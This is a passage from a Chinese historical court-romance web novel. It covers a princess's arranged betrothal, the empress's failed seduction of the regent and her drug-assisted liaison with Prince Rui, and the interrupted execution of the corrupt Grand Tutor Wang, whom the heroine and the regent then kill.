朝栎早就奇怪二哥为什么带她来李家，又让李征彦带她去看菊花。 原来打了这个主意。 当着这么多人的面，女儿家面皮薄，她哪好意思。 “二哥，你在说什么！” 朝栎公主人漂亮又懂事，还是皇上和摄政王一母同胞的亲妹妹。 李策当然是愿意的。 “微臣谢王爷厚爱，我们李家能尚公主，是征彦几辈子修来的福气，只怕委屈了朝栎公主。” 周川行也不想强人所难，“本王就这一个妹妹，只要李公子心悦，好好对待，一生一世一双人，本王别无所求。” 李策给儿子一个眼神。 李征彦立刻跪下谢恩，“朝栎公主聪慧美丽，征彦真心悦之，日后必当事事以公主为先。 征彦可以当着王爷的面立誓，征彦此生必真心待之，绝不辜负，绝不纳妾，如有违背，天理难容。” 周川行瞥了一眼小妹。 小姑娘羞羞答答的不好意思。 他俯身把人扶起来。 “如此，本王命钦天监选个黄道吉日，尽量赶在年前把婚礼办了。” 李夫人一时没反应过来。 婚期订得有点近，只怕李家准备不够充足怠慢了公主。 周川行一言堂：“公主府朝廷会准备好，不过本王的意思，公主成亲后不必住在公主府，就住在李家和你们夫妻一起。 父皇早逝，母后身体一直不好，我们兄妹都没怎么体会过家庭的柴米油盐，李大人和李夫人都是良善之人，必然不会委屈了朝栎。 朝栎也不是什么霸道的姑娘，必然会尽到儿媳的义务。 至于婚礼，让礼部置办，李家做好迎娶的准备就好。” 周川行三言两语定下婚事，李策带领阖府谢恩。 李夫人高兴得不知道说什么好，她盯着自己的傻儿子和唐兮暖说：“难怪今早喜鹊枝头叫，我和你义父盼了二十余年的女儿，今天上门，这是一喜。 征彦傻人有傻福，竟然攀上了公主。 你看他高兴的，嘴都合不上了。” 朝栎年轻漂亮，秀外慧中，李征彦怎么可能不喜欢。 摄政王命他单独照顾公主赏菊，他还没敢多想，忽然听到摄政王要给他和“公主”赐婚，比中一甲可令他高兴多了。 “娘，公主还在呢。” 他娘比他高兴，担心他娘忘乎所以，忍不住提醒。 李夫人感叹道：“就知道暖暖有福，这不才进咱家们，征彦的婚事就定了。 征彦啊，我们把暖暖当成亲生女儿，你和两个弟弟务必对她多照顾一些。” 李征彦和两个弟弟乖乖应下。 李夫人担心公主在屋里不自在，频频给李征彦使眼色，“公主初次驾到，你带她熟悉熟悉。” 李征彦欣然领命。 朝栎公主刚和李征彦逛完秋菊苑，当着众人的面被他喊出去，脸上火辣辣的。 “李公子……” 李征彦带她来到水榭。 冬天气温低，湖面结了一层薄薄的冰碴。 偶尔能看见冰碴下边的锦鲤游动。 他停住脚步询问朝栎：“冷么？” 朝栎鼻头冻得通红，“还好。” 李征彦后悔出屋了，“我娘还以为公主像我这般糙，不怕冷呢。” 他快速从怀里摸出一块玉佩，“这是我娘早些年找工匠打造的，一共三块，我们兄弟三人一人一块，今天我这把这块送给你吧。” 这是交换定情信物了，朝栎接过去放好。 要说先皇和皇后给她留过不少珍奇古玩，可最能代表情丝的还是她母后留下的镯子。 只不过不适合男人戴。 她送给李征彦有些奇怪。 犹豫半晌，她解下自己亲手绣制的荷包，“李公子，这个送你。” 小公主情窦初开，脸颊红红的，“这是人家亲手缝的，你别嫌弃。” 李征彦这些年一心只读圣贤书，可能是最近被母亲唠叨多了，忽然开窍，见到小公主第一眼，便觉得她秀外慧中，美到不可方物。 “公主殿下，”他一双沉眸尽是欣喜，只管狠命夸，“这是我见过最好看的荷包。” 他小心翼翼收好，放进怀里。 “外边冷，咱们还是回去吧。” 他脱下自己的大氅，披到朝栎肩上，“公主别嫌弃，进屋再脱。” 朝栎公主羞羞答答，欲拒还迎。 “你别叫我公主，喊我朝栎。” 原来对一个人心动是这个样子。 以前看见三哥追楚三小姐，二哥又把唐姑娘藏在府里，她无法理解。 今天忽然和李征彦定下婚事，心潮怦动，又有些不知所措。 之前二哥属意魏敏昭，她一向听话，认定二哥不会害她，她便试着和魏敏昭相处。 可几个月下来，她对魏敏昭始终平平淡淡，可有可无。 今天见到李征彦，忽然就通了，她的夫君，应该是李征彦这个样子。 …… 周川行政事繁多，没在李府待太久。 走时还带走了唐兮暖。 李夫人十分不舍，一再叮嘱唐兮暖有时间多去坐坐。 唐兮暖答应着。 只不过她身份特殊，不太方便。 尤其担心自己给李家招灾。 李夫人含泪目送她离开。 周川行一共往太师府派出五路人马，偷盗先皇赐下t的免死金牌。 一个多月过去，失败四路，只剩下一路。 有人扮成丫鬟，有人混进守卫，有人想办法进了后厨…… 可王太师警惕心太强，到现在都一无所获。 唐兮暖难免心急。 入睡前，周川行来看她，两人商量道：“实在不行，我先给父母翻案，至于免死金牌，走一步看一步。” 周川行沉吟道：“有人弹劾王太师贪赃枉法，明天我派人查抄太师府，没准会有什么收获。” 如果能搜出来会省去很多麻烦。 十几年都等了，也不差这一两天。 唐兮暖乖顺道，“都听你的。” 第二天，周川行命端王带禁军去太师府查抄。 可惜端王无功而返。 主因皇后得到消息，带人挡在太师府门口。 大有一夫当关万夫莫开之势，端王恩威并用，可皇后说什么都不让路，他没办法只能回王府复命。 “二哥，皇嫂带女儿去的，我不看皇嫂面子，也得看侄女面子。 皇兄可就这一个女儿。” 周川行明白端王的处境。 “行了，这事不急，我再想办法。 昨天去李家，我看李征彦不错，已经给他和朝栎定下亲事，打算年前就把朝栎嫁过去，等钦天监定下日子，你亲自盯着礼部，别有什么疏漏。 父母不在了，务必将朝栎风风光光的嫁出去。” 端王忽然听说小妹的婚事定了，一时没反应过来。 “二哥，你怎么如此仓促，都没跟我说一声，朝栎可是我一手养大的，你怎么也该跟我商量商量。 再说，李征彦刚中进士，连职位都没有，朝栎怎么能嫁给这样的人。 就算是大理寺卿也不过正三品，配朝栎的身份都不够资格。” 80-90 第81章 端王嫌弃李征彦身份低微,配不上他的宝贝妹妹。 周川行却看好李征彦，认为他将来的前途远在李策之上。 两人意见不合，吵得面红耳赤。 端王气得甩袖暴走。 皇后今天亲自赶到太师府维护,要离开时，王太师悄悄塞给她一张字条。 上边只写了四个字：兄终弟及。 皇后一时没能体会到父亲的深意，将字条拿给最忠心的老嬷嬷。 老嬷嬷很快会意。 “娘娘,皇上病重，只怕很难好转了，这江山肯定要交给哪个弟弟。 到时候，您虽然有小公主，他们不会对您怎么样，可一应待遇，肯定没办法和现在比。 太师是想让您早做打算。” 皇后不解道：“可我能怎么打算？” 老嬷嬷悄声道：“当年武皇后还是太宗的才人呢，不过去寺里出家几年，摇身一变就成了新皇的皇后。” 皇后忽然懂了，“你是让我……” 老嬷嬷特别凝重的点了点头,“娘娘，这是最好的出路。” 兄终弟及需要经过伦理和道德的双重考验,皇后一时无法接受。 “这怎么行,皇上对我不薄，我不能背叛他。” 老嬷嬷设身处地为皇后着想的神色,说道：“可惜皇上没有儿子，哪怕有个庶子,您也能垂帘听政，换成其他几个王爷，这后宫都没您的地方了。 为今之计，只有尽快拉拢住二殿下,让他为您所用，您再怀个孩子，他无心女子，这个孩子可能是他唯一的孩子，还怕他不管您吗。” 老嬷嬷的计策好是好，可皇后一时难以接受。 老嬷嬷又道：“只要二殿下和您有了这层关系，他还会难为太师府吗。” 皇后很快被老嬷嬷劝服，只不过还有忧虑。 “老二不近女色，我又是他嫂子，这事能成吗？” 老嬷嬷靠近皇后身边耳语几句，“等生米煮成熟饭，您就可以拿捏他了，他一个戎马十几年的男人，体会到女人的好，只怕要夜宿后宫了。” …… 周川行政事少时，每天都会进宫看望皇上。 实在抽不出身便隔三差五去一次。 前段时间忙着选才，有几天没去。 这段时间稍微松快些，连着几天每天都去。 今天看完皇上，他走出寝宫询问几个负责皇上病情的御医。 “皇上的龙体到底怎么样，那么多药吃下去，为什么不见好转？” 几位太医皆是惶恐不安。 “王爷，不是我等不尽心，实在是皇上这病……” 周川行和皇上一母同胞，兄弟情谊深厚。 这些年他在外带兵拼命厮杀，为的就是能守住大哥的江山。 江山倒是守住了，四夷臣服，天下归心。 可好日子还没开始，皇兄就病倒了。 “说实话。” 周川行望着远处的苍穹，满心凄凉。 王太医内心凄苦，轻轻摇了摇头。 张太医也摇了摇头。 只有杨太医欲言又止。 周川行说道：“杨太医有话不妨直说。” 杨太医恭谨小心道：“微臣倒是有一法子，能治好皇上的龙体。” 一向稳坐中军帐的摄政王，忽然忍不住激动一把抓起杨太医：“你快说什么办法，是不是有些药材难找，你放心，只要有方子，本王无论如何都要找到。” 杨太医为难道：“不是草药难寻，而是皇上病重，这药方又极其霸道。 不服用，皇上尚且能撑上几年。 服了药方之后，皇上能像正常人一样，不过性命……” 周川行急了：“性命怎么样？” 杨太医：“只能维持三五个月。” 周川行：“……” 皇上卧床将近两年，比活死人好些，偶尔能醒过来片刻。 按照杨太医的治法，能像正常人活上三五个月。 如果不用此药方，皇上的寿命还能按年计算。 周川行一时无法决定。 “这事，但凡传出去一个字，小心尔等的脑袋。” 唐兮暖听说了查抄太师府遇到皇后阻拦的事。 情理之中。 作为太师的女儿，皇后肯定誓死保卫王家。 可恨他们一家整整齐齐全都活在世上，享受尽荣华富贵，可自己一家却遭遇灭顶之灾。 祖父、父母、堂兄堂嫂、堂姐以及管家伯伯和管家伯伯一家，共一十三口，无一活命。 大哥虽然逃出来，可隐姓埋名，根本不敢以唐家人面世。 她倒是能以真面目示人，可傻名在外，甚至连朝夕相处的表哥都不相信她是正常人。 这一切的一切，哪是王太师一条狗命能偿还的。 待真相大白，她绝对不放过王家任何一个人。 让他们整整齐齐全部下地狱相聚。 唐兮暖发完狠，打算找二郎合计一下接下来怎么办。 仿佛心有灵犀一般，她这个念头还没转过，就见二郎出现在她的小院里。 “二郎……” 她有些激动朝门口的男人打招呼，却发现他不似往常那般高兴。 脸上没有笑容，双眼失神，仿佛在琢磨什么很复杂的事情。 人也有些没精神，连肩膀都没有以前挺拔。 唐兮暖这半年没少研究表情和身体动作。 她已经能逐渐分辨出比喜怒哀乐更复杂的情绪。 二郎这副样子，肯定遇到麻烦了。 她收起笑脸，挽起二郎的手臂，扶着他坐下。 “二郎，不开心？” 周川行摆下手，示意所有婢女都退出去。 随后才点点头，“有点。” 唐兮暖捏起一块栗子糕放到他唇边，“吃点甜点就好了。” 周川行就着她的小手咬一口，栗子糕甜酥不腻，确实能让人心情愉悦。 “我们家姑娘真贴心，果然好多了。” 唐兮暖坐到身旁，“我还有更贴心，要不你和我说说发生了什么事，没准我有办法呢。” 周川行不好拿唐兮暖的兄长打比方。 转而道：“假如你有个弟弟，他一直生病不好，需要卧床那种，如果继续维持现在的治疗方案还能活三五年。 今天大夫告诉你有个办法，能让他像正常人一样生活，却只有三五个月的生命，你会怎么办？” 这个问题可难倒了唐兮暖。 “如果我是病人……” “不许这么假设，”周川行阻止小姑娘，他听不得小姑娘任何不好的话。 唐兮暖抱着他的大手，开始撒娇，“我就是假设嘛，假设如果能成真，那我天天假设王太师遭报应。” 周川行无奈道：“听你的，假设不能成真。” 唐兮暖继续道：“如果我是病人，我希望能像正常人那般活个三五月。 都卧病在床了，还有什么乐趣可言，生和死又有什么区别。” 周川行叹了口气，“可他是你的弟弟，你最亲的人。” 唐兮暖不吭声了。 周川行：“父亲早逝，母亲身体一直不好，我这些年一直在外领兵打仗，都没享受过什么亲情。 大哥是我们几个人的主心骨。 这些年，我累死累活拼了性命平息战乱，守护国土，就是为了有t一天几兄弟能安安心心坐在一起，聊天喝茶。 可大哥他…… 哪怕他什么都不能做，可只要有一口气，我就觉得主心骨还在，做什么都有劲。 可一想到他会离开，以后这个家要我顶在前边守护……” 犹如吞了一口辣椒，说到分别处，嗓子疼痛难忍，怎么都发不出声音。 唐兮暖面对生离死别的时候年纪小，那时体验并不深刻。 她被送进侯府，还以为和父母只是暂时分别，早晚会见。 哪里想到竟是天人永隔。 后来她年纪大了，逐渐明白生死的意义，可事情又过去太久，她伤心有，难过有，却并不觉得撕心裂肺。 今天看见二郎伤心，她轻轻把人抱住，柔声细语安抚：“二郎，我会和你并肩而战，和你一起顶在前边守护家人。 如果你觉得累了，痛了，难过了，不高兴了，我的肩膀给你。 别看它弱小，可它的骨子是钢筋铁骨，坚韧又有力量，能一直支撑着你呢。” 这就是周川行一眼认准的小姑娘。 她比任何人都聪明。 也比任何人都坚强，有韧性。 两人在一起，看似他在照顾她，其实她给与精神上的帮助，是任何东西都无法衡量的。 不光帮他寻找人才，还建立书院，亲自授课。 这次科举选中的四百名“进士”，十之六七都听过她授课。 更不说还有很多学子在其它地方受过她的恩惠。 前几天很多学子不约而同赶到寺院为她立长生牌，陶罐亲眼所见，就摆在寺庙最显眼的地方。 等他空出时间，一定带小姑娘去寺庙亲眼看看。 …… 周川行将脸扎进她的肩窝里，深吸了口气。 “嗯，有我家姑娘支持，二郎能战胜世上任何困难。” 周川行一个人无法决定皇上的治疗方案。 打算把端王和朝栎叫过来，一起商议。 朝栎听到消息倒是很快赶来，端王生气周川行擅自做主朝栎的婚事，还在气头上，说什么都不肯来王府。 缺了一个人，周川行便没告诉朝栎实情。 “征彦受李夫人所托带来很多稀罕玩意，你看看有没有喜欢的。” 朝栎一个女儿家，如今定了夫家，各方面都满意，自然盼着多多见面。 可她不好意思。 而她住在宫里，李征彦也不方便找她。 自从订婚那日起，两人还再未见过。 “二哥，征彦在吗？” 周川行点了点隔壁，“刚来，去吧。” 傍晚，周川行送朝栎回宫，顺便去了一趟皇上寝宫。 杨太医刚好过来诊脉。 他吩咐道：“杨太医，你先把药配置好。” 杨太医领命，“喏。” 周川行：“需要多长时间？” 杨太医：“微臣尽力，不过这药极其难成，最快也得一个月。” 一个月的时间，周川行心里算着，那时也该有所决定了。 第82章 周川行看望完皇上准备出宫。 皇后的贴身嬷嬷急匆匆赶过来,把他拦住：“二殿下，不好了，小公主忽然发热,嘴里一直喊着二叔叔，娘娘六神无主，您快过去瞧瞧吧。” 皇上就这一点骨血。 不对,他们兄弟三人加小妹一起就这点骨血。 他怎么可能不疼。 “找太医了吗？怎么说？” 周川行急匆匆往后宫赶，同时问姜嬷嬷。 姜嬷嬷年纪大了，跟不上周川行的脚步，跑的气喘吁吁，“叫了，刚才吃了药，可一点都不见好转。” “这些废物，”周川行发火了，“把所有御医都叫过去。” 姜嬷嬷和皇后打了别的主意，可不敢叫太医过去。 “二殿下,小公主刚吃过药，不好再吃了,只是一直喊您,没准您看完她就好了。” 周川行倒是知道小侄女最黏他。 奈何他是武将出身，实在不知道怎么哄孩子。 每次和小侄女相处都很僵硬。 每次他都能看见小侄女想要亲近他又有些害怕的样子。 周川行一步顶常人两步,很快赶到凤藻宫。 “朝阳在哪？” 姜嬷嬷指了指皇后的卧室，“那里。” 周川行第一次来凤藻宫,自然不熟悉凤藻宫的地形，也就不知道姜嬷嬷指给他的竟然是皇后的卧室。 他急匆匆走进去，只觉屋里温香暖玉，轻纱罗帐,红烛炽热，十分魅惑。 也不知道熏了什么香，香味扑鼻，令人心魂动荡。 他打了十几年的仗，这两年才回京城，没过过什么好日子。 还以为妃子的寝宫都是如此。 一心惦记小侄女，“朝阳呢？朝阳——” 环顾一圈四周，没见小侄女的身影，猜测着姜嬷嬷可能情急之下带错了路。 他打算再去别的卧室寻找。 就在这时，一双柔软的手臂从身后缠上来。 一道女子的馨香也随之扑来。 周川行下意识把人扯开。 皇后只穿了一条鹅黄色的抹胸长裙。 露出她莹润雪白的大片肌肤。 她人长得美，又有过经验，知道自己哪里勾人，尽量把自己诱人的一面展示出来。 她挺着胸脯，扭着水蛇一般的腰肢往周川行身上靠。 “二郎，这么急么！” 周川行可不是什么怜香惜玉的男人，皇后身上的香味令他厌恶，不由得皱眉，后退一步，“皇嫂，朝阳呢？” 皇后只想挑起他的玉火，尽管往他身上贴。 “二郎只关心侄女，就不关心我这个皇嫂吗？” 周川行忽然明白过来，小侄女生病是假，皇嫂发骚才是真。 “还请皇嫂自重。” 竟然骗他，换成别人，一剑封喉。 可皇后生下他大哥唯一的女儿。 他从小和父母分别，知道没有父母的孩子有多可怜，自然不想小侄女走他的老路。 所以他努力克制着自己的火爆脾气，到底忍着没动手。 皇后还不死心，“臭男人有什么好，二郎你是没体会过女人的滋味，但凡体会过一回，都知道女人比男人好多了。” 她继续往周川行身上贴，“二郎放心，嫂嫂不管你养男宠的事，只要每月初一十五进来陪陪皇嫂，皇嫂便高兴了。” 周川行听不得这些孟浪之言。 “今天只当川行没来过。” 他毫无怜惜的把人推开，大踏步离开后宫。 后宫熏了促人欢好的香料，好在不甚严重。 周川行走到宫门口的时候，心口那点火热躁动已经消失的无影无踪。 看来王太师不能留了。 没有王家，皇后怎么也能安分些，有王家在，还不知道会闹出什么事。 今天敢秽乱后宫，明天还不得杀害皇上。 “来人，将王太师一家全部下狱，太师府查封。” 周川行前脚离开凤藻宫，随后又到一男子。 皇后被拒，又羞又愧又臊，免不得拿屋里一应摆设发脾气。 忽然有人从身后抱住了她。 “嫂嫂——” 一道男人热烘烘的气息擦着耳边吹过，久旷的身体立刻化成一股柔软。 还以为周川行去而复返。 就知道没有男人能抵挡住她的诱惑。 “二郎……” 她浑身燥热难当，寻着凑过来的唇贴上去。 干柴烈火，很快便纠缠在一起。 两人一起倒在床上，皇后才发现和他亲热的男人是谁。 “老四？” 她忽然发了疯一般去推睿王。 奈何睿王力气大，她怎么使劲都推不开。 “嫂嫂，你就别白费力气了，这凤藻宫的人早被你打发了，喊破喉咙也不会有人来。” 皇后为了和周川行欢好，确实赶走了所有宫女太监。 倒是方便了睿王。 “你无耻，我可是你皇嫂。” “皇嫂？”睿王笑得格外奸诈油腻，“怎么二哥碰得我就碰不得？嫂嫂，二哥他喜欢男人，你就别白费心思了，我才是真正对你好的人。” “嫂嫂，你怎么这么香，勾得我魂都没了。” “嫂嫂，你就从了我吧，我肯定对你好。” …… 睿王说起情话张口就来。 凤藻宫又点了催情香，她根本推不眼前的男人，半推半就的，两个人成就了好事。 “皇嫂，将来二哥做了皇上，别说太师一门，就算是你这个生下公主的女人也活不成。” 皇后不喜欢睿王，虽然发生关系也没什么好态度。 “你什么意思？” 睿王：“为今之计，你只有支持我做皇上，才能保王家永久富贵。” 皇后根本不信睿王，“你？你怎么争得过老二。” 睿王一个人确实不行。 “只要嫂嫂疼我，我就有办法登上皇位。” 皇后怎么可能相信。 睿王附在她耳边说出自己的计划。 皇后吓了一跳：“你说皇上还能好？” 睿王点头：“杨太医可是我的人。” 皇后心有犹豫。 可她已经无路可走。 周川行不要她，又盯死了王家，待皇上龙驭归天肯定会t找她清算。 她还不到三十岁，怎么甘心在冷宫住一辈子。 “帮了你，我有什么好处？” 睿王早有打算，“嫂嫂没发现，我娶的王妃至少和你有七成相似？” 皇后确实听宫女议论过，睿王妃和她很像。 睿王笑道：“王府少一两个女人还不是很容易的事，到时候你就是我的睿王妃，等我登基，你仍旧是皇后，换个装束，三五个月不见外人，再把后宫所有宫女太监全部换掉，谁能分得清楚，你是先皇后还是现皇后。” 皇后动心了，可她还有顾虑，“老二是那么好糊弄的么。” 睿王不屑道：“那个时候，他早和老祖宗团聚去了，就剩下个端王，听话就留着，不听话让他们兄弟几个一起去地下团聚，嫂嫂，你说这个主意怎么样？” 皇后还是不同意，直到她听说父亲一家下狱。 气得险些咬碎一口银牙。 “周川行，他欺人太甚！” …… 都不用周川行授意，王太师一家下狱后，御史台弹劾王太师的折子像雪片一样飞进勤政殿。 很快便有人提到当年唐家谋反案。 周川行命大理寺卿、新任刑部尚书、端王三人联合查办。 一个月的时间，整理出王太师所犯罪状共计二十八款。 其中包括结党营私、联合藩王谋反、贪污受贿、杀人灭口、炮制冤假错案等等。 每一条都足够判王太师死刑。 腊月初，朝栎公主成亲。 皇上唯一的妹妹，婚礼仪式自然是大周朝最高规格的。 周川行目送小妹被李征彦接走，红了眼眶。 如今三弟和小妹都已经有了归属，他这个做哥哥的也算对父母有了交代。 前段时间，他提拔李征彦为刑部侍郎，官居四品。 对公主来说虽然不算高，可他还年轻，前途无限。 端王一开始不愿意，嫌弃李家门楣不够，李征彦官职又低。 打算观察一段时间，打算找到李家不配的证据，让二哥取消婚事。 却发现李征彦为人处世，都有世家风范，小妹又真心喜欢，每次见到李征彦都很开心。 他这个做哥哥的便逐渐接受此事。 今天目送小妹离开，好像哭过一般，双眼通红，嗓子也哽咽的厉害。 “一眨眼，小妹都成亲了，爹娘在天有灵，也该放心了。” 周川行叹了口气，“你和衍晴怎么样了？让你们早点要个孩子，还没动静？” 端王没好意思说，他成亲三个月有余，两人还没同房。 “二哥，我就不劳你操心了。” 周川行一副你怎么这么不争气的神色，盯着他：“我可听说老四的两个侧妃都有动静了。” 端王最近一直忙着审理王太师，还真没时间关注这些。 “老四可以啊，一下就弄出两个，怎么也得有一个儿子吧。” 接下来两个人都是一阵沉默。 皇上就是因为没有儿子，才导致朝堂一度非常混乱。 好在有周川行坐镇，科举之后纳入很多人才，已经逐渐回到正规。 他们兄弟两个到现在都没有孩子，不管谁继位，将来都是麻烦。 如果睿王生出儿子，对于他争夺皇位肯定大有益处。 “对了，二哥，嫂子呢？” 周川行原本邀请唐兮暖和他一起进宫，给朝栎公主送行。 可小姑娘嫌弃宫里不够热闹，早早去李府等着了，今晚还要闹洞房呢。 王太师已经定了死罪。 唐家的冤屈也已经查明。 如果不是朝栎公主大婚，又进了年底，他实在没时间，唐家平反昭告天下的折子都已经发出去了。 小姑娘这两天特别开心，每天都围着他二郎长二郎短。 原本，几个审判官商议的执行死刑日期是开年后。 他特意将日期提前，改到腊月初八。 小姑娘已经计划好，执行死刑当天，她要亲自观刑，亲眼看着王太师一家人头落地。 周川行也做好决定，那天会陪她一起。 并在当天恢复他们唐家声誉。 第83章 腊月初八这天,狂风肆虐，大雪纷飞，百年一遇的极寒天气,就赶在今天。 天地之间白茫茫一片，几十步远都看不出去。 人一出屋，呼出的气体立刻变成冰碴,糊在围巾上。 刺骨的冷意令人浑身发抖。 路边不时出现冻死的动物尸体，硬邦邦的粘地上，提都提不起来。 按理这样的天气，路上不该有人。 或者只有零星的几个不得不出来办事的。 可今天大街上的人竟然异常的多。 他们各个裹成臃肿的胖子，深一脚浅一脚踩着雪窝直奔午门外。 王太师一家五十三口今天行刑。 这些人都是不畏严寒去看观刑的。 偶尔有人走路不稳摔倒，立刻有路过之人搭把手将人拉起来。 之后继续前行。 “王太师作恶多端，终于遭到报应了。” “我老家的地就被他抢了，还将我叔叔婶婶打成重伤，我家求告无门，险些活不下去,这种禽兽不如的东西，活该满门抄斩。” “我一个远房侄女,被他侄子侮辱,父母找过去还被打了一顿，我那堂弟一气之下病死了。” “摄政王真是青天大老爷,把这种禽兽判了死刑。” “要我说王爷还是不够狠，竟然放过五岁以下的孩子,斩草不除根，以后还不知道闹出什么事端。” “对，我也听说了，五岁以下不管男女全部赦免。” “以前觉得王爷狠厉,没想到竟是个心软的。” “等一会人头落地，我回家非喝上几壶，庆祝一下。” …… 雪太大，马车不方便出行，唐兮暖走路混在这些人群里。 她身边跟着小倩和紫苏、连翘。 几个人全都穿着厚重的大氅，沿着前人的脚窝徐徐前行。 唐兮暖裹得格外严实，身披周川行特意命人给她做的雪狐大氅。 只露一双眼睛，眉毛结了冰霜，每眨一下，冰霜盖在眼睑上，肌肤都会激起一层鸡皮疙瘩。 可她心里是暖的。 父母蒙冤十四年，今天终于能为他们报仇了。 因为雪太大，前人刚刚留下的脚窝很快被大雪覆盖，如果和后人隔着远，几乎看不见他们刚刚走过的足迹。 “小姐，王太师一家终于被砍头了，老爷夫人在天有灵，他们一定会很欣慰的。” 唐兮暖昨天给兄长写信，交代了京城事情。 不过雪大路不好走，不知道信差什么时候能送达。 等兄长收到信，唐家平反的诏令已经昭告天下，他就可以用唐家后人的身份生活了。 明年春暖花开，她完全可以去北域看望哥哥。 她还要在京城买一座三进的大宅子，等哥哥回来，她和哥哥一起住。 再给哥哥娶房媳妇，用不了几年，宅子里就会传出小朋友的欢声笑语。 爹娘在天有灵，看见这些，一定会很快心很开心。 走了一个多时辰，唐兮暖终于赶到午门。 王太师一家五十余口全部五花大绑绑在刑台上。 监斩官李策也已经就位。 六部尚书和其他监斩官员，分坐在李策两侧。 主台正中间空着两个位置，一个是周川行的，一个是端王的。 他们人还没到。 台下是大半个京城来观刑的百姓。 有人手背冻出疮伤，可他们仿佛没有感觉一般，只管盯着台上。 距离午时还差一刻。 唐兮暖伸出小手哈了口气。 “王太师作恶多端，老天爷让他活到今天，可真便宜他了。” 她目光炯炯的盯着蓬头垢面的王太师，恨不得亲手接替刽子手的工作，亲自斩下王太师的人头。 “好冷，”小倩还是第一次在这么冷的天外出，尽管穿得很厚，还是冷的发抖。 “干嘛非得等到午时，这么冷的天早点送他们上路。” 连翘是习武之人，比一般人都抗冻，况且她是边疆人，那些地方常年都比京城冷，她已经冻习惯了。 “怎么可能提前上路，砍头都是有时辰的，早一点都不行。” 小倩哼道：“这种人早一刻砍了都是他们积福了，浪费空气。” 连翘想起以前看的戏，“你没见戏楼都那么演，最后一刻还要有人喊刀下留人，防的就是万一有什么冤屈，还能活命。” 小倩有自己的理解，“那是好人，王太师这种大奸大恶，怎么会有人阻拦。” 连翘故意和她斗嘴，“那万一呢，秦桧还有仨相好呢，太师的女儿可是中宫皇后，没准关键时刻能憋出什么孬屁，赶过来救太师呢。” 小倩生气了：“你干嘛跟我家小姐对着干，你是不是不想保护我家小姐了。” 连翘急忙捂嘴，“嗨，我就是开个玩笑，王太师这种蛀虫，我第一个希望他死。 有一年，他故意可克扣军粮，导致兵变，要t不是王爷力挽狂澜，那些士兵可就扭头攻打朝廷了。 也不知道皇上怎么想的，竟然纵容这种人活到现在……” 几个人吵吵闹闹，不知道谁喊了一声：“王爷来了。” 唐兮暖下意识看向主位。 周川行身披紫色大氅，长身玉立般登上台。 他先是看了眼天上的太阳，随后摆摆手。 午时已到，众位刽子手举起长刀。 眼看着就要砍下去。 忽然刮过一阵狂风，掀起雪花漫天遍野，打得人睁不开眼。 唐兮暖条件反射般闭上眼睛，撩起大氅挡在头上躲避风雪。 待这股风雪过去，她看向邢台，刽子手也在躲避风雪，还没行刑。 她不由得攥紧小拳头。 好担心有什么意外。 此刻所有百姓也紧紧盯着邢台，不由得屏住呼吸。 “刀下留人”虽迟但到。 就在刽子手手起刀马上就要落下时，一道粗狂的喊声传遍刑台上空。 穿过风雪，响彻苍穹。 “刀下留人——” 唐兮暖仿佛吞下一大口冰块，凉意从喉咙一直冰到心口。 她一家人什么错都没犯，却被满门抄斩，当时可没有一个人站出来喊什么刀下留人。 王太师罪有应得，却让他活了这么久，竟然还有人阻止行刑。 老天爷可真是不公。 “继续行刑，”周川行起身，目光凛冽，厉声呵道。 小姑娘等到今天不易，他说什么都要王太师死在今天。 传旨将军骑着高头大马，跨到台上，怒目瞪着周川行将圣旨举过头顶。 “皇上有旨，王太师一家行刑暂缓，二爷立刻回宫。” 注意到周川行面色不善，严肃提醒，“二爷勿要违抗圣旨。” 皇上卧床将近两年，哪里还下得了圣旨。 周川行心有疑惑，“皇兄醒了？” 传旨将军对周川行尚有几分客气，但也就只有几分。 “皇上龙体已经康复，二爷还是要抓紧回宫才是。” 周川行对皇上一向敬重，如今招他回宫，别说正在行刑，就算天崩地裂，他也会立刻赶回去。 “回宫。” 刑场瞬息万变，唐兮暖眼睁睁看着行刑停止。 皇上已醒，他唯一的女儿就是皇后所生。 不看僧面看佛面，肯定会留王太师一条狗命。 错过今日，只怕再难向王太师讨回公道。 唐兮暖快速解下腰间玲珑武器，瞄准王太师的后心，干脆利落按动机关。 王太师自从被收监，从开始的张狂到逐渐绝望，今天被押到刑场，一家人再无生机。 他一直绝望的垂着头，连声冤枉都没喊。 听说皇上已醒，行刑暂停，周川行需立刻回宫，知道是女儿想到办法救下他们一家。 忽然仰天长啸。 “周川行，人算不如天算，你不是要老夫死吗？ 皇上醒了。 皇上醒了！！！ 你收走老夫的免死金牌不认又怎么样，你敢违抗皇命吗！ 哈哈哈…… 连老天爷都在帮我，都在帮我…… 唔——” 不知道什么利器忽然从后心穿过，同一时间锋利无比的剑锋从脖颈处划过，他这惊天地泣鬼神的笑声还没结束，忽然口吐鲜血，重重倒了下去。 “周川行……你……”不得好死。 只见漫天飞雪中，搅弄朝堂几十年的奸佞以头扎地，抽搐几下，很快便僵硬的如同雪雕。 周川行本就没想给王太师一家活路。 路过王太师身边时，忽然出手，王太师和他两个儿子，皆是一剑封侯。 周川行杀伐果断，出手干脆利落。 只要他动了杀意，手下从无活口。 王太师子孙中，两个儿子最坏，他们死了，量其他人也翻不出什么风浪。 周川行认定宫里发生变故，他需要立刻赶过去处理，但绝对不给王家起复的机会。 唐兮暖还以为今天杀死王太师无望，以至于她亲自出手。 没想到周川行和她存了同样的心思，她在扣动机关的时候，他也举起手中利剑。 甚至还比她多杀死两个。 原本她心里是没什么爱情概念的。 表哥对她好，她又依赖表哥，那便和表哥在一起。 可表哥要娶别人，还不许她要孩子，忤逆了她的心意，她便下决定离开。 二郎对她好，无微不至地照顾她，帮她治病，又保护她的安全，她便留在二郎身边。 想办法给他名分，帮他寻找人才。 更多的是对她自身价值的肯定。 她从来不知道心动何感，更不知道爱上一个人是什么反应。 但是此刻，她看见周川行手起刀落，洒脱中尽是英姿飒爽，毫不拖泥带水，出手收招一气呵成，没有任何多余动作。 三个穷凶极恶的奸佞之徒顷刻间倒在血泊里，随后被漫天的大雪掩盖。 他手持长剑，剑锋滴血，他立在风雪间，仿佛一座擎天之柱。 随后踏着风雪一步一步走向他的宝马。 很快挺拔不屈的背影便消失在茫茫的飞雪中。 唐兮暖忽然感觉自己心跳如鼓，脸颊滚烫。 周川行刚才那一剑也太帅气了点，在她脑海里形成无法磨灭的画面。 此生此世，她会永远记得这个画面。 第84章 “二郎——” 宣旨将军命人驱散围观群众。 唐兮暖想追上周川行,她逆着人流，又是风雪交加的天气，周川行的英姿眨眼间消失在风雪中。 她的喊声融进狂风怒号里,和喧闹的人群融在一起。 竟没有一个人听见。 